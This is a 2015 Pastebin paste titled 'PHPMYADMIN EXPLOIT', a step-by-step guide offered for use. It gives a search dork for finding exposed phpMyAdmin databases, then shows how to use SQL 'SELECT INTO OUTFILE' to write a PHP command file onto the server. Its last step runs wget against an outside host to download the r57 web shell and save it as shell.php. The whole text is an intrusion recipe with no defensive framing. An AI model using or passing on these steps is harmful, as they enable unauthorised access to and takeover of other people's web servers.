Advertisement
Kyfx

PHPMYADMIN EXPLOIT

Jun 6th, 2015
829
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. Dork: allinurl:index.php?db=information_schema
  2.  
  3. Requirements(All You Need):-
  4. -You must have the full path
  5. - pma & mysql db privileges.
  6.  
  7. Follow the Instructions:-
  8. 1). First login in to mysql.
  9.  
  10.  
  11. 2). Now click 'Show MySQL system varible" then 'SQL' . Now you can run sql commands,like create db, delete tables or whatever. We want to upload shell so lets move on to it.
  12.  
  13. 3). Now we will create a cmd line into a new file,with select into. SELECT "" INTO OUTFILE "full/path/here/cmd.php" and click 'Go'.
  14.  
  15. 4). Now, the cmd line is here http://site.com/cmd.php lets run the command to get shell. wget http://www.r57.biz /r57.txt;mv r57.txt shell.php. Thats all then we av the shell on the site!!..!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement